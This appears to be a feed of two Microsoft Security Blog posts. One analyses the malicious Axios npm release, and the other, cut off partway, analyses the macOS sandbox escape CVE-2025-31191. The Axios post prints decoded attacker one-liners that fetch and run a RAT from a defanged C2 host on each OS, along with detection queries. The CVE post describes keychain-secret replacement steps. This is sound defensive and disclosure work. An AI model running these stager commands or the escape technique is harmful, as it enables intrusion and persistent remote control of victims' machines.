macOS News and Insights | Microsoft Security Blog http://approjects.co.za/?big=en-us/security/blog/tag/macos/ Expert coverage of cybersecurity topics Fri, 03 Apr 2026 16:23:22 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.3 Mitigating the Axios npm supply chain compromise http://approjects.co.za/?big=en-us/security/blog/2026/04/01/mitigating-the-axios-npm-supply-chain-compromise/ Wed, 01 Apr 2026 21:00:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=146284 On March 31, 2026, the popular HTTP client Axios experienced a supply chain attack, causing two newly published npm packages for version updates to download from command and control (C2) that Microsoft Threat Intelligence has attributed to the North Korean state actor Sapphire Sleet. Although the malicious versions are no longer available for download, since Axios is one of the most widely used HTTP clients in the JavaScript ecosystem, this compromise exposed hundreds to potentially millions of users.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

]]>

On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

  • macOS: packages.npm.org/product0 
  • Windows: packages.npm.org/product1 
  • Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond

  • SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

  • SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
  • SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

  • SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

  • SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1)

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

  • Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
  • Use overrides to force pinned versions for transitive dependencies.
  • Flush the local cache with “npm cache clean –force“.
  • Disable or restrict automated dependency bots for critical packages.
  • Adopt Trusted Publishing with OIDC to eliminate stored credentials.
  • Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
  • Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
  • Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
  • Rotate all secrets and credentials that are exposed to compromised systems.
  • When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
  • Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

  • Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:
{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``
  • Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:
{
  "overrides": {
    "axios": "1.14.0"
  }
}
``
  • Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:
# Dependabot example
ignore:
  - dependency-name: "axios"
  • Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
  • Assess the potential blast radius from affected endpoints
    • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
    • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
    • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage (Blocking detections are indicated where applicable and mapped to specific IoCs, components, or TTPs.)
Initial Access, ExecutionThe postinstall script downloads the payload from the attacker-controlled server.Microsoft Defender for Cloud 
– Malicious Axios supply chain activity detected 
Initial execution script was included in setup.js – plain-crypto-js-4.2.1.tgz and is responsible for launching the malicious chain during install or first runMicrosoft Defender for Endpoint
– Trojan:Script/SuspObfusRAT.A 
(Blocking)
Initial execution script setup.js was responsible for launching the malicious chain during install or first runMicrosoft Defender for Endpoint
– TrojanDownloader:JS/Crosdomd.A (Blocking)
Maliciously packaged crypto library plain-crypto-js@4.2.1 used to execute or support attacker‑controlled logic in a supply‑chain compromise.  Microsoft Defender for Endpoint
– Trojan:JS/AxioRAT.DA!MTB (Blocking)   
Execution (macOS)macOS persistence artifact /Library/Caches/com.apple.act.mond launched, masquerading as a legitimate Apple component to maintain stealthy execution.  Microsoft Defender for Endpoint
– Trojan:MacOS/Multiverze!rfn (Blocking) 
– Backdoor:MacOS/TalonStrike.A!dha (Blocking) 
– Backdoor:MacOS/Crosdomd.A (Blocking)
– Behavior:MacOS/SuspNukeSpedExec.B (Blocking)
– Behavior:MacOS/SuspiciousActivityGen.AE (Blocking)
Download and execution of payload  Microsoft Defender for Endpoint 
– Trojan:Script/SuspObfusRAT.A (Blocking) 
– Trojan:JS/AxioRAT.DA!MTB (Blocking)
– Trojan:MacOS/Multiverze!rfn (Blocking)
– Behavior:MacOS/SuspNukeSpedExec.B
– Behavior:MacOS/SuspiciousActivityGen.AE
– Process launched in the background 
– Suspicious AppleScript activity 
– Suspicious script launched 
– Suspicious shell command execution 
– Suspicious file or content ingress 
– Executable permission added to file or directory 
– Suspicious file dropped and launched 
Execution (Linux)Download and execution of payload, /tmp/ld.py, a Python loader/downloader used to fetch, decrypt, or launch additional malicious components.  Microsoft Defender for Endpoint 
– Trojan:Python/TalonStrike.C!dha (Blocking)
– Backdoor:Python/TalonStrike.C!dha (Blocking)
Download and execution of payloadMicrosoft Defender for Endpoint 
– Trojan:Python/TalonStrike.C!dha (Blocking)
– Process launched in the background 
– Suspicious communication with a remote target 
Execution (Windows)Observed artifacts, 6202033.ps1 and system.bat, provided attackers persistent remote access, command execution, and follow‑on payload delivery on Windows system  Microsoft Defender for Endpoint
– TrojanDownloader:PowerShell/Powdow.VUE!MTB (Blocking)
– Trojan:Win32/Malgent (Blocking)
– TrojanDownloader:PowerShell/Crosdomd.B (Blocking)
– TrojanDownloader:PowerShell/Crosdomd.A (Blocking)
– TrojanDownloader:BAT/TalonStrike.F!dha (Blocking)
– Backdoor:PowerShell/TalonStrike.B!dha (Blocking)
Download and execution of payload, 6202033.ps1.Microsoft Defender for Endpoint
– TrojanDownloader:PowerShell/Powdow.VUE!MTB (Blocking)    
– Trojan:Win32/Malgent (Blocking)
– Behavior:Win32/PSMasquerade.A 
– Suspicious ASEP via registry key 
– System executable renamed and launched
– Possible initial access from an emerging threat 
Defense evasion 
(macOS)
Removal of indicatorsMicrosoft Defender for Endpoint 
– Suspicious path deletion
Command and controlUse of the following network indicators for C2 communications: 
C2 domain: sfrclak[.]com C2 IP: 142.11.206[.]73 C2 URL: hxxp://sfrclak[.]com:8000/6202033
Microsoft Defender for Endpoint network protection and Microsoft Defender SmartScreen block malicious network indicators observed in the attack.

Indicators of compromise

IndicatorTypeDescription
Sfrclak[.]comC2 domainResolves to 142.11.206[.]73.
Registrar: NameCheap, Inc
142.11.206[.]73C2 IPSapphire Sleet C2 IP.
Port 8000, HTTP
hxxp://sfrclak[.]com:8000/6202033C2 URLStatic path across all variants
%TEMP%\6202033.vbsWindows VBScript dropperCreated by node setup.js
%TEMP%\6202033.ps1Windows PowerShell payloadDownloaded from C2, self-deleting
SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
%PROGRAMDATA%\system.batFile created by PowerShellSHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd
C:\ProgramData\wt.exeWindows LOLBinWindows Terminal copy, used as PowerShell proxy
/Library/Caches/com.apple.act.mondmacOS binarySHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
/tmp/ld.pyLinux loaderSHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
packages.npm.org/product1npm identifier (Windows)Sent as POST body to C2
packages.npm.org/product0npm identifier (macOS)Sent as POST body to C2

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

]]>
Analyzing CVE-2025-31191: A macOS security-scoped bookmarks-based sandbox escape http://approjects.co.za/?big=en-us/security/blog/2025/05/01/analyzing-cve-2025-31191-a-macos-security-scoped-bookmarks-based-sandbox-escape/ Thu, 01 May 2025 17:00:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=138741 Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. We shared our findings with Apple and a fix was released for this vulnerability, now identified as CVE-2025-31191. We encourage macOS users to apply security updates as soon as possible.

The post Analyzing CVE-2025-31191: A macOS security-scoped bookmarks-based sandbox escape appeared first on Microsoft Security Blog.

]]>
In April 2024, Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. An attacker could create an exploit to escape the App Sandbox without user interaction required for any sandboxed app using security-scoped bookmarks. With the ability to run code unrestricted on the affected device, attackers could perform further malicious actions like elevating privileges, exfiltrating data, and deploying additional payloads.  Microsoft’s Threat Intelligence research demonstrates that these exploits would need to be complex, and require Office macros to be enabled, in order to successfully target the Microsoft Office app.

Similar to our discovery of another sandbox escape vulnerability in 2022, we uncovered this issue while researching potential methods to run and detect malicious macros in Microsoft Office on macOS. After discovering this issue, we shared our findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Apple released a fix for this vulnerability, now identified as CVE-2025-31191, as part of security updates released on March 31, 2025. We want to thank the Apple product security team for their collaboration and responsiveness. We encourage macOS users to apply security updates as soon as possible.

This blog post details our investigation into using Office macros to escape the macOS App Sandbox and how we uncovered the CVE-2025-31191 vulnerability. We further demonstrate how the exploit could allow an attacker to delete and replace a keychain entry used to sign security-scoped bookmarks to ultimately escape the App Sandbox without user interaction. This research underscores how security solutions like Microsoft Defender for Endpoint protect devices from cross-platform threats, as well as how collaboration and responsible disclosure are essential to defend users across all platforms and devices.

The macOS App Sandbox and Office macros

The macOS App Sandbox is a security mechanism employed on macOS applications, enforcing strict fine-grained rules on what an app can or cannot do. For example, an app can specify whether it should have internet access or whether it should be able to access specific files. To get apps signed by Apple and published in the Mac App Store, developers must have sandbox rules defined for their apps.

Since 2022, Apple has made significant changes to how the App Sandbox is enforced from within Launch Services, making them aware of the XPC client being sandboxed. That means vulnerabilities that use Launch Services, such as the CVE-2022-26706 vulnerability, as well as CVE-2021-30864, CVE-2022-26696, and others, will not work anymore. Since Microsoft Office is heavily sandboxed on macOS, it seems that the impact of malicious Office macros is minimal and cannot be trivially used as an initial access vector.

Nevertheless, our team decided to perform a threat landscape analysis. With modern Microsoft Office for macOS being heavily sandboxed, two new VBA APIs have been introduced and documented:

  • AppleScriptTask. This API allows a Microsoft Office macro to run a preassigned AppleScript. The script must be under the directory ~/Library/Application Scripts/[bundle id]/, which is not accessible for writing from within Office itself. Therefore, script execution cannot be used for VBA-based sandbox escape purposes.
  • GrantAccessToMultipleFiles. This API grants read and write access to files out of the sandbox from within the macro, which involves heavy user interaction to select and approve those files.

Since the AppleScriptTask API did not have obvious vulnerabilities, we started focusing on the GrantAccessToMultipleFiles API.

Interestingly, we noticed that the user’s choice is persistently saved and used, even between reboots. This indicates that the user’s consent is stored in a file that we can attempt to access. An attacker could aim to obtain write and read access to arbitrary files without the user’s consent and then escape the macOS App Sandbox by abusing files that would later be used by other apps (such as the file ~/.zshenv that we analyzed in the past). In such an attack, the attacker could rely on unsuspecting users approving file access to allow trivial sandbox escapes.

Screenshot of the proof of concept code for an attack involving user interaction
Figure 1. Proof of concept code for an attack that does involve user interaction
Screenshot of the typical user interaction requiring explicit selection of the folder to grant access to
Figure 2. Typical user interaction requiring explicit selection of the folder to grant access to

File access approval using kernel tokens

We discovered that the file that persists the user’s choices is a PLIST file under the Containers folder. The Containers folder is a special folder in which App Sandbox rules do not apply, which means that the sandboxed app has full access to files there. This is quite attractive for vulnerability research purposes since it means that an attacker might be able to add entries to that file and simply get access to arbitrary files mentioned in that PLIST file.

Microsoft Office uses a macOS mechanism called security-scoped bookmarks, which is a mechanism designed by Apple to specifically bypass the App Sandbox rules using explicit, persistent user choices. We do note that the file seems to contain binary signatures, so frivolously adding new entries or modifying existing ones is not possible.

Screenshot of the secure bookmarks PLIST file saving the signed user choices with typical metadata
Figure 3. The secure bookmarks PLIST file saving the signed user choices with typical metadata

Therefore, our team decided to reverse engineer large parts of the macOS modules that support this behavior. However, to fully understand and appreciate the security design of security-scoped bookmarks, it’s important to understand how sandboxed apps typically get access to files.

In general, sandboxed apps typically get access to files if a user selects them using the Open dialog. That dialog is controlled by an un-sandboxed service called com.apple.appkit.xpc.openAndSavePanelService.xpc. After the user selects the files, that un-sandboxed service transfers access to the selected files to the sandboxed app (using IPC) via a mechanism called sandbox extensions, which was documented well by Jonathan Levin in the past. Essentially, sandbox extensions are tokens created and signed by the kernel that grant the possessing process the ability to access those files, typically using the lower-level API under libsystem_sandbox.dylib. In our case, the Open dialog service passes a sandbox extension token from the kernel to Microsoft Office, which then uses the token for file access purposes, bypassing App Sandbox checks. The token itself contains:

  • HMAC-SHA256 authentication. The key used for that HMAC is generated in each boot by the Sandbox.kext kernel extension.
  • Volume, node information, and other file metadata.
  • Capability (such as com.apple.app-sandbox.read-write).
  • File path.

Because the key that is used to sign the HMAC-SHA256 blob is generated in each new boot, the token cannot persist between reboots. To solve that problem, Apple came up with security-scoped bookmarks, which do something very similar. A new un-sandboxed process called ScopedBookmarkAgent was introduced, which can perform two important tasks:

  1. Given a sandbox extension token, validate its authenticity and generate a new, serializable object called “bookmark,” which will have a long-term HMAC-SHA256 authentication.
  2. Given a bookmark, validate its authenticity and generate a new sandbox extension token.

Applications such as Microsoft Office could then use those capabilities to maintain long-term file access:

  1. On the first call to GrantAccessToMultipleFiles, Office checks if there are file entries in its securebookmarks.plist file. Since there are no matching entries, Office consults the Open dialog service, which requires user interaction and receives a sandbox extension token. That token is sent to the ScopredBookmarkAgent, which validates the token and then signs it with its own unique, long-term cryptographic key. That data is then serialized by Office to the securebookmarks.plist file for later use.
  2. On the next call to GrantAccessToMultipleFiles, Office finds the entry in its securebookmarks.plist file and sends the data to the ScopedBookmarkAgent, which validates the signature and generates a sandbox extension token that Office can use without user interaction involved.

The HMAC-SHA256 authentication blob generated by ScopedBookmarkAgent cannot be forged unless an attacker has the cryptographic key. The signing key is unique for each app and calculated as such:

cryptoKey=HMAC-256(secret, “[bundle-id]”)

The bundle ID is known (for instance, com.microsoft.Word) and the key persists in Keychain Access on macOS, saved in the keychain entry com.apple.scopedbookmarksagent.xpc.

Therefore, knowing the secret that is stored in the keychain is essential to retrieving the cryptoKey, and that’s the only barrier against an attacker signing their own bookmark entries.

Escaping the App Sandbox via the keychain

The macOS keychain can be thought of as a built-in password manager, conceptually similar to how Credential Manager works on Windows. The keychain is a container for passwords and has Access Control Lists (ACL) that dictate which process can access each keychain item. The keychain entry we are interested in is com.apple.scopedbookmarksagent.xpc, and its ACL dictates only the ScopedBookmarkAgent has access to it, which is an excellent security decision by Apple, since injection to that process is not trivial, especially from a sandboxed context.

Screenshot of the Access Control List for the scoped bookmarks secret used for signing purposes
Figure 4. The Access Control List for the scoped bookmarks secret used for signing purposes

It seems as if an attacker cannot do much as they operate within the sandboxed app context and not the ScopedBookmarkAgent context, so attackers cannot get the key and, therefore, cannot sign arbitrary new entries in the PLIST file indirectly used by the ScopedBookmarkAgent. However, we discovered that the ACL only controls the ability to read the secret. An attacker could completely avoid reading the existing secret and instead can delete the existing entry and add a new entry, with a well-known secret. In addition, the attacker could control the new entry’s ACL and allow anyone to read the contents of the secret, including ScopedBookmarkAgent:

Screenshot of the deletion of the old security-scoped bookmarks secret and assigning a new one from within a sandboxed session
Figure 5. Deletion of the old security-scoped bookmarks secret and assigning a new one from within a sandboxed session

Therefore, an attacker can create an elaborate exploit:

  1. Delete the old signing secret from the keychain and decide on a new known secret that is accessible to all processes.
